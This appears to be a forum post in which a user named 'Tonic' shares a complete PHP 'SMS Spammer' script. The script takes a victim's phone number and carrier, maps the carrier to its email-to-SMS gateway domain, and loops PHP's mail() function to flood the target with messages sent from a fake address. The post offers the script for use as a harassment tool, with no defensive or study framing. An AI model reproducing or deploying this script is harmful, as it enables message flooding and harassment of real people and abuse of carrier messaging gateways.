PHP SMS Spammer

[Tonic]

Did me some googling for service receipt addresses and slapped er together.

<?php
//SMS Spammer
$receipt = htmlentities($_POST['to']); //Phone number
$carrier = $_POST['service']; //The victims provider
$message = htmlentities(stripslashes($_POST['message'])); //Message to flood
$flood = $_POST['flood']; //Flood amount

if((empty($_POST['to'])) || (empty($_POST['service'])) || (empty($_POST['message'])) || (empty($_POST['flood']))) {
echo "One of the fields are empty, please fill them in.";
}
else {

if($carrier == "verizon") {
$number = $receipt . "@vtext.com";
}
elseif($carrier == "tmobile") {
$number = $receipt . "@tomomail.net";
}
elseif($carrier == "sprint") {
$number = $receipt . "@messaging.sprintpcs.com";
}
elseif($carrier == "att") {
$number = $receipt . "@txt.att.net";
}
elseif($carrier == "virgin") {
$number = $receipt . "@vmobl.com";
}
elseif($carrier == "boost") {
$number = $receipt . "@myboostmobile.com";
}
elseif($carrier == "nextel") {
$number = $receipt . "@messaging.nextel.com";
}
elseif($carrier == "alltel") {
$number = $receipt . "@message.alltel.com";
}
$i=0;
while ($i < $flood) {
mail($number, "Shititsaflood", $message, "From: Annoyimous@poopflood.com");
$i++;
}
echo "You have successfully flooded the number " . $receipt . ", thanks for trying the flooder out!";
}
?>
